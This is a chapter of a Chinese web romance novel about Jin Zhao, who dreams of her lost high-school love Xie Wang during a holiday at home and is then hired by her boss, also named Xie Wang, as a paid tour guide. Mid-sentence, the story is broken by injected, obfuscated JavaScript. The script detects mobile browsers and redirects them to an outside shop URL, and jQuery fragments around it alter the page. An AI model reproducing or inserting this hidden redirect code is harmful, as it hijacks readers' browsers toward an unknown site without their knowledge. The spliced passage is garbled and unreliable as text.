累了就休息。
今昭也这么做了。
处理完近期的工作,请了两天假,提前过上五一。
这七天,今昭决定什么都不想,一心体验假期。
一下高铁,深深吸入一口空气。
不知道为什么,感觉庆安的空气都比沪海的香甜。
今昭没告诉爸妈会回家过五一,想着给他们一个surprise。
这个点,爸妈都在上班,今昭回到家收拾完行李箱的东西,就立马去洗澡。
擦着湿漉漉的头发,环视一圈,这才发现家里是一点食物都没有。
不到万不得已,今昭是从不点外卖的。
没办法,都洗完澡了,要出去回来还得再洗一遍,还是点外卖吧。
回家第一顿是外卖,有点寒酸。
抱着手机在外卖平台上划来划去,忍不住“啧”一声。
“怎么做到没有一个是我想吃的。”
看着看着,从沙发到床上,再看着看着,从外卖平台到短视频平台。
这种低脂搞笑的视频牵动着今昭的情绪,真的将烦恼清扫一空。
今天起得太早,刷着刷着,困意袭来,眼皮不受控制地黏上,短视频的声音还在耳边循环,却一点不耽误今昭的睡眠,反而成了助眠曲。
意识慢慢涣散。
“今昭,今昭,醒醒。”
轻微的晃动扰乱了睡眠,压制住心里的不满,“干嘛?”
“考试了。”
“什么考试?”
“一模啊。”
一模?!
今昭立即捏了捏胳膊上的肉。
不疼。
长呼一口。
得。
是做梦。
试卷发下,大致扫了扫。果真,什么都不会。
反正是做梦,今昭也无所谓,连名字都没写,又趴着睡下。
闭眼许久,怎么枕都不对。
硬邦邦的桌子,也不知道高中是怎么睡着的,还睡得那么舒服。
硬生生熬到考试结束。
监考老师来收卷时,都愣了一下。
可梦终究是梦,他没多说什么,就走了。
“今昭,你男朋友来了。”
男朋友?
偏头看去,窗外,当那张熟悉的面容再次出现在眼前。
一瞬间,经过三年才建起的高墙轰然倒塌。
强忍着眼泪,跑出去,来到他的面前。
他还是和记忆里的一样,帅气、高大、阳光。看向我时的目光永远是亮亮的。
没变,一切都没变。
他还在这。
“谢妄。”今昭唤他。
“嗯。”他轻轻应着。
“谢妄,我好想你。”
他坏笑:“才两个小时,就这么想我?”
“嗯,想你,特别想你。”
他笑,是开心的笑。
“要不要去吃饭?”他问。
“要。”
“想吃什么?”
“面,张爷家的面。”
“好。”
他牵起她的手,十指紧扣。
“慢慢吃哈,不够再加,吃饱才有力气学习。”
三年没去过,早已忘记面的样子和味道。
低头看了眼,面前的面被蒙上一层马赛克,尝了口,如同白水,没有味道。
这几年,为了不去想他,今昭将所有精力放在工作上。每年回庆安的时间也只有过年那几天,潜意识里避开与他有关的一切。
这个梦很长,长到今昭做了一切和他想做的事。
经历了一模二模三模,而后是高考。
高考完,和他去了好几个地方旅游,度过了一个无忧无虑的暑假。
九月份,和他去了同一所大学。
他会每天在宿舍楼下等我,也会每晚送我回宿舍。
我们吃遍了周围的所有美食,害我胖了好几斤。
但他好像一点都没变,还是那么好看。
这时我就会忍不住抱怨:“凭什么你一点没胖。”
他也只会坏笑,宠溺着摸摸我的头。
我们也会在小长假期间出去游玩,大学四年里,我们去过了许多地方。
海边、沙漠、草原……
每一处都留下了我和他的脚印。
我讨厌上学,但和他在一起,我居然会期待。
我讨厌孤独,但和他在一起,孤独感从未出现过。
……
后来——
我想,我只是讨厌没有他的生活。
缓缓睁开眼,手机里的视频还在放。
梦醒的突然。
今昭甚至不记得和他的最后一幕是什么。
暗灭手机屏幕。
欢乐声戛然而止。
窗外的天有些暗了。
胳膊盖在眼睛上。
强迫自己入睡。
再梦一次。
只一次就好。
可是,梦哪是说接就能接上的。
脑中一片混沌。
挣扎许久,还是没能入睡。
算了。
她放弃了。
心底忍不住自嘲——
你真可笑啊,今昭。
是啊,我真可笑。
可——
既然傻了,不如傻到底。
脱下睡衣,换上外穿的衣服,骑车来到张爷的面馆。
面馆的路今昭一直都记得。
再次站在这,本该老旧的木门,寂静的街道,焕然一新,变成了小吃街。
面店的位置上,换成了灯火通明的门头,上面写着:正宗龙虾烧烤。
店员看到今昭站在门口,上前询问:“要吃饭吗?”
缓过神来的今昭,深深望了眼门头,礼貌回绝:“不用了,谢谢。”
一二年到二六年,十四年的时间。
怎么可能还是原样。
抱着最后一丝幻想,骑车来到了那条深巷。
只见幽深的小巷早已被眼前的高楼小区取代,今昭终于死心。
十四年,真的能改变很多。
天已经彻底暗下。
一眨眼的工夫,时间来到了八点。
车库离居民楼还有段距离,停好车,走着走着,越觉得眼睛怪怪的。
应该是睫毛进眼睛里了。
周围漆黑一片,也没镜子,从口袋掏出一包纸,隔着一张纸揉眼睛,试试能不能把睫毛揉出来。
五月初的夜晚还是有些凉的,偶尔几缕冷风吹过,穿薄了还会有些凉意。
突然,一阵冷风吹过,不知怎么地,害的今昭连打几个喷嚏,眼泪都流了几滴出来。
“喂,为了一个男人有什么好哭的……”
一切来的太快,等反应过来时,人已经站在面前。
湿漉漉的眼睛、红彤彤的鼻梁、手上的纸巾,直接让谢妄认定她就是在哭。
“看不出来啊,今主管,也是会为男人哭的。”
“哭”这个字被他咬的级重。
今昭不懂他在说什么。
相比于这个,她更想知道这个人为什么会突然出现。
“你在说什么?”
恰巧此时,睫毛被揉了出来,擦拭好眼泪,戴上眼镜。
“谢总,您怎么在这?”
他出现时,今昭已经猜出七七八八。
他调查我。
“你先回答我,为什么要为一个根本不重要的男人哭?”他问的理所当然。
“哭什么?谢总您是脑子不正常吧。”今昭的唇扯成一条直线,诉说着无语,“眼睛进东西了,我在处理,这下懂了吧,谢、总。”
他的脸色缓和几分,随后语气慌乱:“我就问问,你别在意,没别的意思。”
今昭静静看着他的表演,紧追不舍地询问:“那谢总可以回答我的问题吗?您、怎、么、在、这?”
一字一顿,咬的格外清晰。
他的视线乱瞟,似乎在等待救援,可惜,周围一片漆黑,没人能救他。
好一会,他说:“我来这旅游,想到你是这的人,想让你当我的导游。”
一句话,二十几个字,漏洞百出。
今昭懒得陪他演戏,“谢总,旅行社这条路出去,右拐就是。”
说着,朝单元楼走去。
“一天一万。”他在后面喊。
一天一万,对今昭来说确实很高,但与假期相比,还是有些不值得。
没理他,继续往前走。
“一天五万。”
这个数一出。
假期好像也没那么重要了。
今昭找不到任何拒绝的理由。
转身,笑得灿烂,“谢谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668747|204182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
总的赏识。”
走过去,脸上始终保持职业假笑,“谢总,哪几天需要我,我随时都有空。”
只听他说:“每一天,从现在开始的每一天,都需要。”
“每一天”三个字一出,今昭乐了。
这不就是财神爷降世。
从今天开始算,有七天。
一天五万,那就是三十五万。
不但能把之前给他的钱拿回来,而且还翻倍!
啧啧啧……
资本家就是不一样。
三十五万在他们眼里说不定就相当于三百五。
这么一算,今昭又觉得有些不值。
早知道再犹豫些,说不定能更多。
亏了。
亏了……
“今主管,听懂了吗?”
立即切回工作状态,“是,谢总,现在想去哪?”
“我饿了,先去吃饭。”
“有什么想吃的吗?”
“随便。”
随便。
最讨厌听的就是随便。
你去吃一个“随便”给我看看呢?
都这个点,不想太折腾,准备带他去吃从小吃到大的米粉店。
“谢总,您在这等一下,我去把电瓶车骑出来。”
“没有汽车?”
“有,但在这种小城市,骑电瓶车是最方便快速的。”
谢妄似懂非懂。
今昭又重新把电瓶车骑出来,“谢总,上车。”
“我来载你。”
谢妄想起两个小时前在飞机上恶补的——
论如何成功追到女生?
第一条:花钱,大方的花钱。
这一条已经做到了,一天五万,不信她对我还没点好感。
第二条:不要让女生开车。
来这边太急,还没租车,但电瓶车应该也一样。
想着,他的嘴角已经勾起弧度。
“谢总,您会骑电瓶车?”语气里全是不信任。
“当然。”
想象很美好,现实很残酷。
如今昭所料,这个世界的谢妄根本不会。
他还在摸索,今昭看不下去,简直是在浪费时间。
一把夺过,“谢总,还是我载您吧。”
就这样,谢妄被赶到后座。
看着她的后脑勺。
怎么和想象的不一样。
五分钟不到,车子稳稳停在米粉店门口。
大街上随处可见的装修,几十年还是这样,连位置都没变。
“谢总,你要吃什么?”
谢妄看了眼菜单,问:“有什么推荐?”
“这个。”手指指向菜单的右上角。
“这个,这家店招牌,特别好吃,我每次回来都是必吃的。”
她的行为举止非常夸张,谢妄被逗笑:“那就这个吧。”
“行,老板两碗酸辣炒米粉,在这吃。”今昭掏出手机,想到什么,转头问:“谢总,要不要煎蛋?”
“可以。”
“老板,再加两个煎蛋。”
“好嘞,一共三十。”
“好。”
不等今昭反应,他的手机已经贴上。
紧接着,店里响起——
支付宝扫码成功,三十元,碰一碰……
“谢总?”
他收起手机,“所有支出我包。”
短短六个字。
今昭这是一个悔啊。
早知道,吃什么米粉,应该去吃大餐,吃他个四位数。
十几平米的店铺,餐桌牢牢固定在两边。
今昭跟着坐下,问:“谢总,您订好酒店了吗?”
“还没。”
“那快订,等会儿还要送你回酒店。”
“不着急,等下去买几套衣服。”
今昭:?
“我没带额外衣服。”
此刻,今昭才注意到他身上还穿着西装。
可能是每次见他都是西装。
导致今昭都免疫了。
觉得他只能穿西装,其他都不和谐。
今昭看了眼时间,“谢总,现在八点半,商场九点半关门,逛不了多久。”
“来得及。”
人都这么说了,今昭就一打工的。
自然是老板说什么就是什么。